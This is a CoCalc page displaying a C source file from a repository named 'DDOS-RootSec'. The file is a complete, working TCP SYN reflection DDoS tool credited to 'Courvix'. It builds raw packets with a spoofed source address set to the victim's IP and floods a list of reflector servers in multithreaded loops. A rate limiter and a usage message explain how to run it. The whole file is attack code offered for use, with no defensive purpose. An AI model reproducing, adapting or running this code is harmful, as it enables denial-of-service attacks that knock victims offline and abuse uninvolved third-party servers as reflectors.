Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L4/UDP/KILLALLv2.c
4607 views
1
/*
2
* TCP-AMP (killall) script made by Courvix. This version uses a list of IP addresses to use as reflectors
3
* Credits to LiteSpeed for the C base..
4
*/
5
6
#include <unistd.h>
7
#include <time.h>
8
#include <sys/types.h>
9
#include <sys/socket.h>
10
#include <sys/ioctl.h>
11
#include <string.h>
12
#include <stdlib.h>
13
#include <stdio.h>
14
#include <pthread.h>
15
#include <netinet/tcp.h>
16
#include <netinet/ip.h>
17
#include <netinet/in.h>
18
#include <netinet/if_ether.h>
19
#include <netdb.h>
20
#include <net/if.h>
21
#include <arpa/inet.h>
22
#define MAX_PACKET_SIZE 4096
23
#define PHI 0x9e3779b9
24
static unsigned long int Q[4096], c = 362436;
25
static unsigned int floodport;
26
volatile int limiter;
27
volatile unsigned int pps;
28
volatile unsigned int sleeptime = 100;
29
unsigned long targetAddress;
30
struct list
31
{
32
struct sockaddr_in data;
33
struct list *next;
34
struct list *prev;
35
};
36
struct list *head;
37
struct thread_data
38
{
39
int thread_id;
40
struct list *list_node;
41
struct sockaddr_in sin;
42
};
43
int ack, syn, psh, fin, rst, urg, ptr, res2, seq;
44
void init_rand(unsigned long int x)
45
{
46
int i;
47
Q[0] = x;
48
Q[1] = x + PHI;
49
Q[2] = x + PHI + PHI;
50
for (i = 3; i < 4096; i++)
51
{
52
Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
53
}
54
}
55
unsigned long int rand_cmwc(void)
56
{
57
unsigned long long int t, a = 18782LL;
58
static unsigned long int i = 4095;
59
unsigned long int x, r = 0xfffffffe;
60
i = (i + 1) & 4095;
61
t = a * Q[i] + c;
62
c = (t >> 32);
63
x = t + c;
64
if (x < c)
65
{
66
x++;
67
c++;
68
}
69
return (Q[i] = r - x);
70
}
71
unsigned short csum(unsigned short *buf, int count)
72
{
73
register unsigned long sum = 0;
74
while (count > 1)
75
{
76
sum += *buf++;
77
count -= 2;
78
}
79
if (count > 0)
80
{
81
sum += *(unsigned char *)buf;
82
}
83
while (sum >> 16)
84
{
85
sum = (sum & 0xffff) + (sum >> 16);
86
}
87
return (unsigned short)(~sum);
88
}
89
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
90
{
91
92
struct tcp_pseudo
93
{
94
unsigned long src_addr;
95
unsigned long dst_addr;
96
unsigned char zero;
97
unsigned char proto;
98
unsigned short length;
99
} pseudohead;
100
unsigned short total_len = iph->tot_len;
101
pseudohead.src_addr = iph->saddr;
102
pseudohead.dst_addr = iph->daddr;
103
pseudohead.zero = 0;
104
pseudohead.proto = IPPROTO_TCP;
105
pseudohead.length = htons(sizeof(struct tcphdr));
106
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
107
unsigned short *tcp = malloc(totaltcp_len);
108
memcpy((unsigned char *)tcp, &pseudohead, sizeof(struct tcp_pseudo));
109
memcpy((unsigned char *)tcp + sizeof(struct tcp_pseudo), (unsigned char *)tcph, sizeof(struct tcphdr));
110
unsigned short output = csum(tcp, totaltcp_len);
111
free(tcp);
112
return output;
113
}
114
void setup_ip_header(struct iphdr *iph)
115
{
116
iph->ihl = 5;
117
iph->version = 4;
118
iph->tos = 0;
119
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
120
iph->id = htonl(rand() % 54321);
121
iph->frag_off = 0;
122
iph->ttl = MAXTTL;
123
iph->protocol = 6;
124
iph->check = 0;
125
iph->saddr = inet_addr("192.168.3.100");
126
iph->daddr = inet_addr("192.168.3.100");
127
}
128
void setup_tcp_header(struct tcphdr *tcph)
129
{
130
tcph->source = rand();
131
tcph->seq = 0;
132
tcph->ack = 0;
133
tcph->ack_seq = 0;
134
tcph->psh = 0;
135
tcph->fin = 0;
136
tcph->rst = 0;
137
tcph->res2 = 0;
138
tcph->doff = 5;
139
tcph->syn = 1;
140
tcph->urg = 0;
141
tcph->urg_ptr = 0;
142
tcph->window = 5840;
143
tcph->check = 0;
144
}
145
void *flood(void *par1)
146
{
147
struct thread_data *td = (struct thread_data *)par1;
148
//char *td = (char *)par1;
149
char datagram[MAX_PACKET_SIZE];
150
struct iphdr *iph = (struct iphdr *)datagram;
151
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
152
struct sockaddr_in sin = td->sin;
153
struct list *list_node = td->list_node;
154
sin.sin_family = AF_INET;
155
sin.sin_port = htons(floodport);
156
//sin.sin_addr.s_addr = inet_addr(td);
157
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
158
if (s < 0)
159
{
160
fprintf(stderr, "Could not open raw socket.\n");
161
exit(-1);
162
}
163
memset(datagram, 0, MAX_PACKET_SIZE);
164
setup_ip_header(iph);
165
setup_tcp_header(tcph);
166
if (floodport == 0)
167
{
168
tcph->dest = htons(rand_cmwc() & 0xFFFF);
169
}
170
else
171
{
172
tcph->dest = htons(floodport);
173
}
174
iph->saddr = sin.sin_addr.s_addr;
175
iph->daddr = list_node->data.sin_addr.s_addr;
176
iph->check = csum((unsigned short *)datagram, iph->tot_len);
177
int tmp = 1;
178
const int *val = &tmp;
179
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0)
180
{
181
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
182
exit(-1);
183
}
184
init_rand(time(NULL));
185
register unsigned int i;
186
i = 0;
187
while (1)
188
{
189
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&list_node->data, sizeof(list_node->data));
190
list_node = list_node->next;
191
iph->saddr = sin.sin_addr.s_addr;
192
iph->daddr = list_node->data.sin_addr.s_addr;
193
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
194
iph->check = csum((unsigned short *)datagram, iph->tot_len);
195
tcph->seq = 0 & 0xFFFF;
196
tcph->source = htons(rand_cmwc() & 0xFFFF);
197
tcph->check = 0;
198
tcph->check = tcpcsum(iph, tcph);
199
pps++;
200
if (i >= limiter)
201
{
202
i = 0;
203
usleep(sleeptime);
204
}
205
i++;
206
}
207
}
208
int main(int argc, char *argv[])
209
{
210
if (argc < 7)
211
{
212
fprintf(stdout, "TCP Reflection Script\n");
213
fprintf(stdout, "Note: port is the port you want to send SYN packets to the reflectors on, not victim port\n");
214
fprintf(stdout, "Usage: %s [Target] [Port] [Threads] [PPS] [Time] [List]\n", argv[0]);
215
exit(-1);
216
}
217
fprintf(stdout, "Preparing...\n");
218
int max_len = 128;
219
int i = 0;
220
char *buffer = (char *)malloc(max_len);
221
head = NULL;
222
buffer = memset(buffer, 0x00, max_len);
223
int num_threads = atoi(argv[3]);
224
floodport = atoi(argv[2]);
225
int maxpps = atoi(argv[4]);
226
limiter = 0;
227
pps = 0;
228
FILE *list_fd = fopen(argv[6], "r");
229
while (fgets(buffer, max_len, list_fd) != NULL)
230
{
231
if ((buffer[strlen(buffer) - 1] == '\n') ||
232
(buffer[strlen(buffer) - 1] == '\r'))
233
{
234
buffer[strlen(buffer) - 1] = 0x00;
235
if (head == NULL)
236
{
237
head = (struct list *)malloc(sizeof(struct list));
238
bzero(&head->data, sizeof(head->data));
239
head->data.sin_addr.s_addr = inet_addr(buffer);
240
head->next = head;
241
head->prev = head;
242
}
243
else
244
{
245
struct list *new_node = (struct list *)malloc(sizeof(struct list));
246
memset(new_node, 0x00, sizeof(struct list));
247
new_node->data.sin_addr.s_addr = inet_addr(buffer);
248
new_node->prev = head;
249
new_node->next = head->next;
250
head->next = new_node;
251
}
252
i++;
253
}
254
else
255
{
256
continue;
257
}
258
}
259
struct list *current = head->next;
260
261
pthread_t thread[num_threads];
262
struct sockaddr_in sin;
263
sin.sin_family = AF_INET;
264
sin.sin_addr.s_addr = inet_addr(argv[1]);
265
int multiplier = 20;
266
//int i;
267
struct thread_data td[num_threads];
268
for (i = 0; i < num_threads; i++)
269
{
270
td[i].thread_id = i;
271
td[i].sin = sin;
272
td[i].list_node = current;
273
pthread_create(&thread[i], NULL, &flood, (void *)&td[i]);
274
}
275
fprintf(stdout, "Sending Packets...\n");
276
//struct thread_data thread[num_threads];
277
for (i = 0; i < (atoi(argv[5]) * multiplier); i++)
278
{
279
usleep((1000 / multiplier) * 1000);
280
if ((pps * multiplier) > maxpps)
281
{
282
if (1 > limiter)
283
{
284
sleeptime += 100;
285
}
286
else
287
{
288
limiter--;
289
}
290
}
291
else
292
{
293
limiter++;
294
if (sleeptime > 25)
295
{
296
sleeptime -= 25;
297
}
298
else
299
{
300
sleeptime = 0;
301
}
302
}
303
pps = 0;
304
}
305
306
return 0;
307
}
308
309